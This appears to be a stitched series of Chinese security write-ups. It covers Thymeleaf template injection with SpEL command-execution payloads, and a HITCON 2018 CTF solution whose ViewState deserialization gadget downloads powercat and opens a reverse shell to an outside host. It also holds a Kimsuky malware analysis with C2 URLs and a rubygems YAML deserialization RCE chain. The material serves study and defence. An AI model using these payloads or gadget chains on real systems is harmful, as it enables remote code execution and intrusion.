this.logger.debug("Error rendering view [" + view + "]", var8);
}
throw var8;
}
}
获取视图解析器在`DispatcherServlet#resolveViewName`中完成，循环遍历所有视图解析器解析视图，解析成功则返回。
protected View resolveViewName(String viewName, @Nullable Map<String, Object> model, Locale locale, HttpServletRequest request) throws Exception {
if (this.viewResolvers != null) {
Iterator var5 = this.viewResolvers.iterator();
//循环遍历所有的视图解析器获取视图
while(var5.hasNext()) {
ViewResolver viewResolver = (ViewResolver)var5.next();
View view = viewResolver.resolveViewName(viewName, locale);
if (view != null) {
return view;
}
}
}
return null;
}
在`Demo`中有5个视图解析器。
本以为会在`ThymeleafViewResolver`中获取视图，实际调试发现`ContentNegotiatingViewResolver`中已经获取到了视图。
`ContentNegotiatingViewResolver`视图解析器允许使用同样的数据获取不同的View。支持下面三种方式。
> 1. 使用扩展名
> <http://localhost:8080/employees/nego/Jack.xml>
> 返回结果为XML
> <http://localhost:8080/employees/nego/Jack.json>
> 返回结果为JSON
> <http://localhost:8080/employees/nego/Jack>
> 使用默认view呈现，比如JSP
>
> 2. HTTP Request Header中的Accept，Accept 分别是 text/jsp, text/pdf, text/xml,
> text/json, 无Accept 请求头
>
> 3. 使用参数
> <http://localhost:8080/employees/nego/Jack?format=xml>
> 返回结果为XML
> <http://localhost:8080/employees/nego/Jack?format=json>
> 返回结果为JSON
>
>
`ContentNegotiatingViewResolver#resolveViewName`
* `getCandidateViews`循环调用所有的ViewResolver解析视图，解析成功放到视图列表中返回。同样也会根据Accept头得到后缀并通过ViewResolver解析视图。
* `getBestView`根据Accept头获取最优的视图返回。
public View resolveViewName(String viewName, Locale locale) throws Exception {
RequestAttributes attrs = RequestContextHolder.getRequestAttributes();
Assert.state(attrs instanceof ServletRequestAttributes, "No current ServletRequestAttributes");
List<MediaType> requestedMediaTypes = this.getMediaTypes(((ServletRequestAttributes)attrs).getRequest());
if (requestedMediaTypes != null) {
//获取可以解析当前视图的列表。
List<View> candidateViews = this.getCandidateViews(viewName, locale, requestedMediaTypes);
//根据Accept头获取一个最优的视图返回
View bestView = this.getBestView(candidateViews, requestedMediaTypes, attrs);
if (bestView != null) {
return bestView;
}
}
...
}
### 视图渲染
得到View后，调用render方法渲染，也就是`ThymleafView#render`渲染。`render`方法中又通过调用`renderFragment`完成实际的渲染工作。
## 漏洞复现
我这里使用[ **spring-view-manipulation**](https://github.com/veracode-
research/spring-view-manipulation) 项目来做漏洞复现。
### templatename
#### 漏洞代码
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
#### POC
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x
#### 漏洞原理
在`renderFragment`渲染的过程中，存在如下代码。
* 当TemplateName中不包含`::`则将`viewTemplateName`赋值给`templateName`。
* 如果包含`::`则代表是一个片段表达式，则需要解析`templateName`和`markupSelectors`。
protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
...
//viewTemplateName中包含::则当作片段表达式执行
if (!viewTemplateName.contains("::")) {
templateName = viewTemplateName;
markupSelectors = null;
} else {
IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);
FragmentExpression fragmentExpression;
try {
// 根据viewTemplateName得到FragmentExpression
fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
} catch (TemplateProcessingException var25) {
throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
}
//创建ExecutedFragmentExpression
ExecutedFragmentExpression fragment = FragmentExpression.createExecutedFragmentExpression(context, fragmentExpression);
//获取templateName和markupSelectors
templateName = FragmentExpression.resolveTemplateName(fragment);
markupSelectors = FragmentExpression.resolveFragments(fragment);
Map<String, Object> nameFragmentParameters = fragment.getFragmentParameters();
if (nameFragmentParameters != null) {
if (fragment.hasSyntheticParameters()) {
throw new IllegalArgumentException("Parameters in a view specification must be named (non-synthetic): '" + viewTemplateName + "'");
}
context.setVariables(nameFragmentParameters);
}
}
...
viewTemplateEngine.process(templateName, processMarkupSelectors, context, (Writer)templateWriter);
}
比如当viewTemplateName为`welcome ::
header`则会将welcome解析为templateName，将header解析为markupSelectors。
上面只是分析了为什么要根据`::`做不同的处理，并不涉及到漏洞，但是当视图名中包含`::`会执行下面的代码。
fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
在`StandardExpressionParser#parseExpression`中会通过`preprocess`进行预处理，预处理根据该正则`\\_\\_(.*?)\\_\\_`提取`__xx__`间的内容，获取`expression`并执行`execute`方法。
private static final Pattern PREPROCESS_EVAL_PATTERN = Pattern.compile("\\_\\_(.*?)\\_\\_", 32);
static String preprocess(IExpressionContext context, String input) {
if (input.indexOf(95) == -1) {
return input;
} else {
IStandardExpressionParser expressionParser = StandardExpressions.getExpressionParser(context.getConfiguration());
if (!(expressionParser instanceof StandardExpressionParser)) {
return input;
} else {
Matcher matcher = PREPROCESS_EVAL_PATTERN.matcher(input);
if (!matcher.find()) {
return checkPreprocessingMarkUnescaping(input);
} else {
StringBuilder strBuilder = new StringBuilder(input.length() + 24);
int curr = 0;
String remaining;
do {
remaining = checkPreprocessingMarkUnescaping(input.substring(curr, matcher.start(0)));
//提取__之间的内容
String expressionText = checkPreprocessingMarkUnescaping(matcher.group(1));
strBuilder.append(remaining);
//获取expression
IStandardExpression expression = StandardExpressionParser.parseExpression(context, expressionText, false);
if (expression == null) {
return null;
}
//执行execute方法
Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);
strBuilder.append(result);
curr = matcher.end(0);
} while(matcher.find());
remaining = checkPreprocessingMarkUnescaping(input.substring(curr));
strBuilder.append(remaining);
return strBuilder.toString().trim();
}
`execute`经过层层调用最终通过SPEL执行表达式的内容。
也就是说这个漏洞本质上是`SPEL`表达式执行。
### URI PATH
下面的情况也可以触发漏洞,这个可能很多师傅和我一样都觉得很奇怪，这个并没有返回值，理论上是不会执行的。
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
前面我们分析了`SpingMVC`视图解析的过程，在解析视图首先获取返回值并封装为`ModleAndView`，而在当前当前环境中并没有返回值，按理说`ModelAndView`应该为空，为什么还能正常得到`ModleAndView`呢？
原因主要在`DispatcherServlet#doDispatch`中，获取`ModleAndView`后还会执行`applyDefaultViewName`方法。
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
...
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
if (asyncManager.isConcurrentHandlingStarted()) {
return;
}
this.applyDefaultViewName(processedRequest, mv);
}
`applyDefaultViewName`中判断当`ModelAndView`为空，则通过`getDefaultViewName`
获取请求路径作为`ViewName`。这也是在`urlPath`中传入Payload可以执行的原因。
private void applyDefaultViewName(HttpServletRequest request, @Nullable ModelAndView mv) throws Exception {
if (mv != null && !mv.hasView()) {
String defaultViewName = this.getDefaultViewName(request);
if (defaultViewName != null) {
mv.setViewName(defaultViewName);
}
}
}
但是需要注意的是如果要在`urlPath`中传入payload,则不能有返回值，否则就不会调用`applyDefaultViewName`设置了。下面的方式将不会导致代码执行。
@GetMapping("/doc/{document}")
public String getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document);
return "welcome";
}
#### 回显失败问题分析
当在URL PATH中使用下面的POC会拿不到结果。
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x
经过分析问题主要是在`StandardExpressionParser#parseExpression`,在`preprocess`预处理结束后还会通过`Expression.parse`进行一次解析，这里如果解析失败则不会回显。
static IStandardExpression parseExpression(IExpressionContext context, String input, boolean preprocess) {
IEngineConfiguration configuration = context.getConfiguration();
String preprocessedInput = preprocess ? StandardExpressionPreprocessor.preprocess(context, input) : input;
IStandardExpression cachedExpression = ExpressionCache.getExpressionFromCache(configuration, preprocessedInput);
if (cachedExpression != null) {
return cachedExpression;
} else {
Expression expression = Expression.parse(preprocessedInput.trim());
if (expression == null) {
throw new TemplateProcessingException("Could not parse as expression: \"" + input + "\"");
} else {
ExpressionCache.putExpressionIntoCache(configuration, preprocessedInput, expression);
return expression;
}
}
}
使用上面的`POC`，`parse`的内容如下，这里可以看到`::`后没有内容，因此这里肯定是会失败的。
而在`templatename`那个Demo中，`parse`内容如下是`::`后是有内容的。所以能否回显的关键就是`Expression.parse`能否正常执行。
**但是我们在URL PATH的POC中也设置了::.x为什么会被去掉呢？**
在分析`URL PATH`这种方式能获取`ModelAndView`的原因时，我们分析过会在`applyDefaultViewName`中获取URL
Path作为`ModelAndView`的name，这个操作在`getViewName`中完成，`getLookupPathForRequest`仅仅获取了请求的地址并没有对后面的`.x`做处理，处理主要是在`transformPath`中完成的。
public String getViewName(HttpServletRequest request) {
String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
return this.prefix + this.transformPath(lookupPath) + this.suffix;
}
`transformPath`中通过`stripFilenameExtension`去除后缀，是这部分导致了`.x`后内容为空。
protected String transformPath(String lookupPath) {
String path = lookupPath;
if (this.stripLeadingSlash && lookupPath.startsWith("/")) {
path = lookupPath.substring(1);
}
if (this.stripTrailingSlash && path.endsWith("/")) {
path = path.substring(0, path.length() - 1);
}
//
if (this.stripExtension) {
path = StringUtils.stripFilenameExtension(path);
}
if (!"/".equals(this.separator)) {
path = StringUtils.replace(path, "/", this.separator);
}
return path;
}
`stripFilenameExtension`去除最后一个`.`后的内容，所以可以通过下面的方式绕过。
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()%7d__::assadasd.asdas
## 漏洞修复
### 配置ResponseBody或RestController注解
@GetMapping("/doc/{document}")
@ResponseBody
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
配置了`ResponseBody`注解确实无法触发，经过调试在`applyDefaultViewName`中`ModelAndView`是`Null`而非`ModelAndView`对象，所以`hasView()`会导致异常，不会设置视图名。
所以我们要分析创建`ModelAndView`对象的方法，也就是`getModelAndView`，这里`requestHandled`设置为`True`时会返回Null，而不会创建视图。
当我们设置了`ResponseBody`注解后，handler返回的是`RequestResponseBodyMethodProcesser`,所以这里会调用它的`handleReturnValue`,设置了`RequestHandled`属性为True。
配置`RestController`修复和这种方式类似，也是由于使用`RequestResponseBodyMethodProcesser`设置了`RequestHandled`属性导致不能得到`ModelAndView`对象了。
有小伙伴可能要问，上面只是讲的`URL
PATH`中的修复，`templatename`中这种方式也能修复嘛？答案是肯定的，根本原因在设置了`RequestHandled`属性后，`ModelAndView`一定会返回Null。
### 通过redirect:
>
> 根据springboot定义，如果名称以`redirect:`开头，则不再调用`ThymeleafView`解析，调用`RedirectView`去解析`controller`的返回值
所以配置`redirect：`主要影响的是获取视图的部分。在`ThymeleafViewResolver#createView`中，如果视图名以`redirect:`开头，则会创建`RedirectView`并返回。所以不会使用`ThymeleafView`解析。
### 方法参数中设置HttpServletResponse 参数
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document);
}
> 由于controller的参数被设置为HttpServletResponse，Spring认为它已经处理了HTTP
> Response，因此不会发生视图名称解析。
首先声明下 **这种方式只对返回值为空的情况下有效，也就是**`URL PATH` **的方式** ，下面我会解释一下原因。
设置了`HttpServletResponse`后也是设置`requestHandled`设置为True导致在`applyDefaultViewName`无法设置默认的ViewName。
但是它的设置是在`ServletInvocableHandlerMethod#invokeAndHandle`中。由于`mavContainer.isRequestHandled()`被设置为True，所以进入到IF语句中设置了`requestHandled`属性，
**但是这里的前提条件是`returnValue`为空，所以这种修复方法只有在返回值为空的情况下才有效。**
`requestHandled`的属性设置在`HandlerMethodArgumentResolverComposite#resolveArgument`解析参数时，这里不同的传参方式获得的`ArgumentResolver`是不同的，比如没加`HttpServletResponse`时得到的是`PathVariableMethodArgumentResolver`。
加上后会对`HttpServletResponse`也进行参数解析，解析后的结果为`ServletResponseMethodArgumentResolver`，在它的`resolveArgument`方法中，会设置`requestHandled`属性。
## 总结
`Thymeleaf` 模板注入和我理解的不太一样，之前以为这种模板注入应该是解析特定标签时候导致的问题。
从修复的角度来讲使用`@ResponseBody`或者`@RestController`更容易修复漏洞，而设置`HttpServletResponse`有一定的局限性，对`templatename`的方式无用。
## 参考
* [Java安全之Thymeleaf SSTI分析](https://www.anquanke.com/post/id/254519)
* [Thymeleaf一篇就够了](https://developer.aliyun.com/article/769977) | 社区文章 |
# HITCON CTF 2018 - Why so Serials? Writeup
## Description
Why so Serials?
Shell plz!
13.115.118.60
Author: orange
1 Team solved.
## 解题思路
题目给出了源代码
<%@ Page Language="C#" %>
<script runat="server">
protected void Button1_Click(object sender, EventArgs e) {
if (FileUpload1.HasFile) {
try {
System.Web.HttpContext context = System.Web.HttpContext.Current;
String filename = FileUpload1.FileName;
String extension = System.IO.Path.GetExtension(filename).ToLower();
String[] blacklists = {".aspx", ".config", ".ashx", ".asmx", ".aspq", ".axd", ".cshtm", ".cshtml", ".rem", ".soap", ".vbhtm", ".vbhtml", ".asa", ".asp", ".cer"};
if (blacklists.Any(extension.Contains)) {
Label1.Text = "What do you do?";
} else {
String ip = context.Request.ServerVariables["REMOTE_ADDR"];
String upload_base = Server.MapPath("/") + "files/" + ip + "/";
if (!System.IO.Directory.Exists(upload_base)) {
System.IO.Directory.CreateDirectory(upload_base);
}
filename = Guid.NewGuid() + extension;
FileUpload1.SaveAs(upload_base + filename);
Label1.Text = String.Format("<a href='files/{0}/{1}'>This is file</a>", ip, filename);
}
}
catch (Exception ex)
{
Label1.Text = "ERROR: " + ex.Message.ToString();
}
} else {
Label1.Text = "You have not specified a file.";
}
}
</script>
<!DOCTYPE html>
<html>
<head runat="server">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="bootstrap.min.css">
<title>Why so Serials?</title>
</head>
<body>
<div class="container">
<div class="jumbotron" style='background: #f7f7f7'>
<h1>Why so Serials?</h1>
<p>May the <b><a href='Default.aspx.txt'>source</a></b> be with you!</p>
<br />
<form id="form1" runat="server">
<div class="input-group">
<asp:FileUpload ID="FileUpload1" runat="server" class="form-control"/>
<span class="input-group-btn">
<asp:Button ID="Button1" runat="server" OnClick="Button1_Click"
Text="GO" class="btn"/>
</span>
</div>
<br />
<br />
<br />
<div class="alert alert-primary text-center">
<asp:Label ID="Label1" runat="server"></asp:Label>
</div>
</form>
</div>
</div>
</body>
</html>
首先, 可以尝试上传文件, 发现大部分C#会执行其中代码的文件类型都已经被删除了, 安装个IIS看一下还有什么东西可以利用的,
发现列表中并没有禁用`.stm`, `.shtm`和`.shtml`三种文件格式, 于是我们可以通过这个两种文件来进行SSI(Server Side
Include), 从而读取web.config
编写代码读取web.config
<!-- test.shtml -->
<!--#include file="/web.config" -->
上传, 访问即可读取其中内容, 发现并没有flag
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off"/>
<machineKey validationKey="b07b0f97365416288cf0247cffdf135d25f6be87" decryptionKey="6f5f8bd0152af0168417716c0ccb8320e93d0133e9d06a0bb91bf87ee9d69dc3" decryption="DES" validation="MD5" />
</system.web>
</configuration>
尝试执行命令, 提示`The CMD option is not enabled for #EXEC calls`
根据题目名字, why so serials, 怀疑是不是有神奇的asp.net相关的反序列化漏洞, google搜索`asp.net
deserialization vulnerability`
发现 <https://github.com/pwntester/ysoserial.net>
在找页面中哪里有可利用的反序列化的点的时候, View Source发现一个奇怪的`__ViewState`参数
[解码ViewState的网站](http://viewstatedecoder.azurewebsites.net/)
通过了解这个ViewState参数([参考链接](https://weblogs.asp.net/infinitiesloop/Truly-Understanding-Viewstate)).
我们知道了`__ViewState`会进行反序列化操作, 参考`ysoserial.net`的反序列化生成的操作,
我们来魔改一下提供给我们的`Default.aspx`, 生成带着payload的ViewState以及签名(记得新建web.config,
把之前读web.config放进去哦~)
魔改后的代码(仅给出了需要魔改的地方, 具体怎么加, 请自行脑补):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Collections.Generic" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Runtime.Serialization" %>
<%@ Import Namespace="System.Web.UI" %>
<%@ Import Namespace="System.Linq" %>
protected void Button2_Click(object sender, EventArgs e) {
Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add("cmd");
set.Add("/c " + "powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c reverse.lvm.me -p 6666 -e cmd");
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
// Modify the invocation list to add Process::Start(string, string)
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);
ViewState["test"] = set;
}
<asp:Button ID="Button2" runat="server" OnClick="Button2_Click"
Text="TEST" class="btn"/>
我们在这里面新增了一个`Button2`以及处理其点击事件的函数`Button2_Click`, 在点击后,
向`ViewState`中添加通过反序列化执行命令的代码.
点击我们新增的按钮, 查看代码, 就可以看到我们新生成的ViewState及签名了!
F12, 把题目中的`__VIEWSTATE`和`__EVENTVALIDATION`都改成我们生成的那个, 之后再随便上传个什么东西
成功弹到shell
flag 在 c盘根目录下
## 后记
做题的时候遇到的反序列化漏洞有PHP, Python, JAVA写的, 这是第一次在比赛中见到在.Net中利用反序列化这个点的,
还顺便了解了一下ViewState以及其反序列化的工作原理, 还有那个用来生成payload的库.
最后膜一下Orange师傅的题目. 简直太6了...我等菜鸡不敢说话.jpg
## 参考资料
1. <https://github.com/pwntester/ysoserial.net>
2. [解码ViewState的网站](http://viewstatedecoder.azurewebsites.net/)
3. [参考链接](https://weblogs.asp.net/infinitiesloop/Truly-Understanding-Viewstate)
4. [ViewState使用兼谈序列化](https://www.cnblogs.com/YoungPop-Chen/p/3310076.html) | 社区文章 |
# 疑似 KimsukyAPT 组织最新攻击活动样本分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：kczwa1@知道创宇NDR团队
## 概述：
KimsukyAPT 是一个长期活跃的 APT
攻击组织，一直针对于韩国的智囊团,政府组织,新闻组织,大学教授等等进行活动.并且该组织拥有多平台的攻击能力,载荷便捷,阶段繁多。
知道创宇NDR团队监测发现，该组织最近半年异常活跃。近日，知道创宇NDR产品团队在日常的样本追踪过程中发现了疑似该组织最新的攻击样本。
## 样本信息一：
Md5 ：adc39a303e9f77185758587875097bb6
最早于9.2日上传于virustotal
该样本为伪装为word文件图标的pe文件。
## 样本分析
进入主函数后读取资源“JUYFON”。
查看文件资源“JUYFON”应该为一段加密后的数据。
读取该资源段后通过简单的解密获取内容：
后创建文件并解密后的内容写入新创建的文件：
通过调试获取创建的文件名：
创建文件后打开该文件，为一个伪装的doc文件，起到迷惑受害者的作用：
经过翻译后为跟韩国某学校相关的文档：
随后启动一个线程：
该线程中主要包含3个函数404250，4049e0，4045c0。
404250：
生成临时目录文件wcl.doc：
生成临时文件名tcf.bin以备后续使用。
通过cmd命令将窃取的本地计算机信息写入wcl.doc:
Wcl.doc完成生成后格式如下，主要包含系统临时文件，系统信息等：
4049e0：
此函数主要功能是读取上一步生成的本地计算机信息，并发送给远控端。
此处包含一些迷惑调试器的代码，如图4bca处：
但在IDA中可以正常识别：
由于eax=0，nop word ptr「eax」操作无意义，因此在OD中选择delete analysis后继续单步调试即可：
构造好的post body内容如下，包括分割符及加密后的前面窃取的计算机信息文件。
其中404dd0主要功能是通过http协议将窃取的计算机信息发送到pingguo2.atwbpage.com
完整的post请求如下：
POST /home/jpg/post.php HTTP/1.1 Accept: */* Host: pingguo2.atwebpages.com Referer: http://pingguo2.atwebpages.comhome/jpg/post.php Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322) Content-Length: 5571 Connection: Keep-Alive Cache-Control: no-cache
pingguo2.atwebpages.com/pingguo2.atwebpages.com
POST /home/jpg/post.php HTTP/1.1 Accept: */* Host: pingguo2.atwebpages.com Referer: http://pingguo2.atwebpages.comhome/jpg/post.php Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322) Content-Length: 5571 Connection: Keep-Alive Cache-Control: no-cache
pingguo2.atwebpages.com/home/jpg/post.php
4045c0:
首先构造get请求，从服务器上读取文件：
完成的请求如下：
GET /home/jpg/download.php?filename=button01 HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: pingguo2.atwebpages.com Cache-Control: no-cache
pingguo2.atwebpages.com/home/jpg/download.php?filename=button01
经过测试，发现该请求无法获取相应：
分析代码后发现会将从服务器上读取的文件写入之前创建的临时文件tcf.bin，并将起用loadlibrary加载，因此可以判断tcf.bin应该是一个有更复杂功能的dll木马文件，且load该dll并没有去call
其他导出函数，猜测该dll的恶意代码都在dllmain里面。
同时可以关联到另外一个样本。
#### 样本信息
Md5 28833e121bb77c8262996af1f2aeef55
此样本上传时间稍早，代码结构完成一致，粗略分析仅两处与上一个样本不同：
1.生产的迷惑文件文字不同：
2.c2服务器的域名及url不同：
#### 关联分析
由于2个样本种都使用了相同的字符串作为post的分隔符：
WebKitFormBoundarywhpFxMBe19cSjFnG.通过搜索引擎检索，会得到如下的结果：
可以看到这段字符串在很久以前就出现并且曾被用于针对韩国冬奥会的攻击,并且Kimsuky攻击活动中曾经使用过，同时结合样本的掩护文档的内容，可以确定被攻击者目标是韩国大学相关人士，完全符合以往Kimsuky的攻击意图，因此可以断定此样本的来源大概率是Kimsuky。
## 总结
通过分析可以看出最新的样本依然有多阶段方便攻击者重新组合攻击工具的特点，目前知道创宇NDR流量监测产品已经支持对次APT攻击活动的精准检测：
## IOC
### MD5:
adc39a303e9f77185758587875097bb6
28833e121bb77c8262996af1f2aeef55
### URL：
portable.epizy.com/img/png/post.php
portable.epizy.com/img/png/download.php?filename=images01
pingguo2.atwebpages.com/home/jpg/download.php?filename=button01
pingguo2.atwebpages.com/home/jpg/post.php | 社区文章 |
# 【技术分享】如何在Rubygems.org上实现远程代码执行
|
##### 译文声明
本文是翻译文章，文章来源：justi.cz
原文地址：<https://justi.cz/security/2017/10/07/rubygems-org-rce.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**概述**
[**rubygems.org**](https://rubygems.org/)
是目前一个非常流行的ruby依赖库托管服务，而本文所介绍的技术将通过rubygems.org上的一个反序列化漏洞来实现远程代码执行。不过在本文发稿之前，该漏洞([
**CVE-2017-090**](https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-0903) **3**
)已经被成功修复，具体信息请参考官方发表的声明文件【[传送门](http://blog.rubygems.org/2017/10/09/unsafe-object-deserialization-vulnerability.html)】。
如果你之前曾经开发过ruby应用程序的话，你很可能已经使用过rubygems.org的服务了。当然了，作为社区中的一个热门ruby依赖托管服务，你肯定会信任该网站在你计算机中所运行的任何程序，不然你也不会选择rubygems.org啦！但是，比如说当你运行命令gem
install
rails时，gem工具会从rubygems.org获取rails工具源码及其相应的依赖组件，然后自动将所有组件全部安装部署好。但需要注意的是，任何人在注册了一个rubygems.org账号之后，都可以发布gems程序。
**
**
**漏洞分析**
Ruby gems实际上就是 **tar压缩文件** ，所以运行完tar -xvf foo.gem命令之后，你将会得到下面这三种文件：
metadata.gz
data.tar.gz
checksums.yaml.gz
这些文件都是gzip压缩文件。metadata.gz中包含一个YAML文件，其中存储了跟gem相关的信息，例如工具名称、开发者信息以及版本号等等。data.tar.gz中包含的是另一个存储了工具完整源代码的tar压缩文档。checksums.yaml.gz中同样包含了一个YAML文件，而这个YAML文件中存储的是gem内容的加密哈希。
在此之前，我一直都不知道“解析不受信任的YAML文件”这种行为是[非常危险](https://www.sitepoint.com/anatomy-of-an-exploit-an-in-depth-look-at-the-rails-yaml-vulnerability/)的，因为我一直认为它跟JSON一样是一种良性的数据交换格式。实际上，YAML允许我们对任意对象进行编码，它跟Python的[pickle](https://docs.python.org/2/library/pickle.html)非常相似。
当你向rubygems.org上传一个gem之后，应用程序会调用Gem::Package.new(body).spec，而rubygems
gem（拥有上述方法）会使用一种不安全的方法来调用YAML.load，并在gem中加载YAML文件。
但是，rubygems.org的开发人员是知道这一点的（很可能是因为这一次【[事件](https://docs.google.com/document/d/10tuM51VKRcSHJtUZotraMlrMHWK1uXs8qQ6Hmguyf1g/edit#heading=h.vklh7bga5mlq)】才知道的）。在2013年，开发人员曾尝试修复过这个问题([monkey-patching](https://github.com/rubygems/rubygems.org/commit/334bff6beb072f17c252dee97a03b5c7b81aef02#diff-61d2ac84a9d683aaee31dfc7bec7e8c0))，并让YAML以及gem解析库只允许接受白名单列表中规定的数据类型，而且在2015年rubygems.org甚至开始使用[Psych.safe_load](https://github.com/rubygems/rubygems.org/commit/63bb533ffc3543f4aab049d3af4f83b606442044#diff-61d2ac84a9d683aaee31dfc7bec7e8c0)了。
不幸的是，monkey-patching根本就没有效果，因为它之修复了Gem::Specification#from_yaml方法。如果我们真的弄清楚了#spec方法在调用过程中所发生的事情，我们就会发现它还会调用#verify方法，其中最重要的部分如下列代码所示：
# ...
@gem.with_read_io do |io|
Gem::Package::TarReader.new io do |reader|
read_checksums reader
verify_files reader
end
end
verify_checksums @digests, @checksums
# ...
#read_checksums方法的相关代码如下所示：
# ...
Gem.load_yaml
@checksums = gem.seek 'checksums.yaml.gz' do |entry|
Zlib::GzipReader.wrap entry do |gz_io|
YAML.load gz_io.read # oops
end
end
# ...
非常好，接下来我们就可以用我们所能控制的输入数据来调用YAML.load了。但是，我们如何利用这个漏洞呢？一开始，我曾尝试在YAML.load调用其自己的时候来运行我自己的漏洞利用代码，但是实现这个的难度远远比我想象的要困难得多，虽然我可以对任意对象进行反序列化操作，但我真正能够对这些对象所做的操作以及我所能调用的方法实际上是极其有限的。rubygems.org所使用的YAML解析库Psych只允许我调用例如#[]=，#init_with以及#marshal_load之类的方法。这里的#marshal_load并不是Marshal.load，如果是Marshal.load的话那可就简单多了。但是对于绝大多数对象来说，这些方法并不能给攻击者提供多大的灵活性，因为这些对象的常见方法一般都是初始化一些变量然后返回一些值。也有人说某些标准rails库中的对象拥有危险的#[]=方法，但是我并没有找到。
于是接下来，我又回头开始分析rubygems.org应用程序，我想要确定它会将@checksums变量用在哪里，我们可以在任何类中设置一个相关实例吗?#verify_checksums的相关代码如下所示：
# ...
checksums.sort.each do |algorithm, gem_digests|
gem_digests.sort.each do |file_name, gem_hexdigest|
computed_digest = digests[algorithm][file_name]
# ...
所以，如果我们能够构建一个恶意对象并尝试调用#sort方法的话，我们就可以利用该漏洞来做一些危险的事情了。最终，我设计了如下所示的PoC。其中，有效的攻击Payload包含在base-64编码的代码之中，但我的PoC代码只会在命令行界面中输出字符串“opps”：
SHA1: !ruby/object:Gem::Package::TarReader
io: !ruby/object:Gem::Package::TarReader::Entry
closed: false
header: 'foo'
read: 0
io: !ruby/object:ActiveSupport::Cache::MemoryStore
options: {}
monitor: !ruby/object:ActiveSupport::Cache::Strategy::LocalCache::LocalStore
registry: {}
key_access: {}
data:
'3': !ruby/object:ActiveSupport::Cache::Entry
compressed: true
value: !binary '
eJx1jrsKAjEQRbeQNT4QwQ9Q8hlTRXGL7UTFemMysIGYCZNZ0b/XYsHK8nIO
nDtRBGbvJDzxMuRMLABHzIzOSqD0G+jbVMQmhzfLwd4jnphebwUrE0ZAoJrz
YQpLE0PCRKGCmSnsWr3p0PW000S56G5eQ91cv9oDpScPC8YyRIG18WOMmGD7
/1X1AV+XPlQ='
完成最后一步操作之后，我们还要回头调用#sort方法。在最后一步操作中，我们可以得到一个ActiveSupport::Cache::Entry对象。这个对象扮演着一个非常重要的角色，因为当#value方法被调用时，@compressed的值为true，而它将会调用Marshal.load方法，[并对攻击者所提供的数据进行解析处理](https://github.com/rails/rails/blob/5-1-stable/activesupport/lib/active_support/cache.rb#L618)。这也就意味着，它将负责执行攻击者所提供的代码。这里所使用的数据提取方法在之前已经介绍过了，感兴趣的同学可以参考【[这篇文章](https://github.com/charliesome/charlie.bz/blob/master/posts/rails-3.2.10-remote-code-execution.md)】。不幸的是，我们无法使用YAML来对这个对象进行反序列化处理并实现代码执行，因为它几乎没有提供任何可以直接调用的方法，包括设置实例变量的方法在内。在这种情况下，我们必须要使用Marshal.load来完成对象的加载。
接下来，ActiveSupport::Cache::MemoryStore对象会在一个名叫@data的哈希变量中存放我们的恶意对象。在其父类ActiveSupport::Cache::Store中，定义了一个名叫#read的方法，这个方法可以在MemoryStore中调用#read_entry方法。简单说来，#read_entry方法的作用就是从@data存放的数据中提取出entry并将其返回给调用者。
针对MemoryStore#read方法的调用来自于针对Gem::Package::TarReader::Entry#read的调用，而它本身又会被Gem::Package::TarReader#each方法带哦用。当读取的结果返回给调用者之后，#size方法将会在返回值中被调用，并最终执行我们的恶意Payload（恶意对象）。
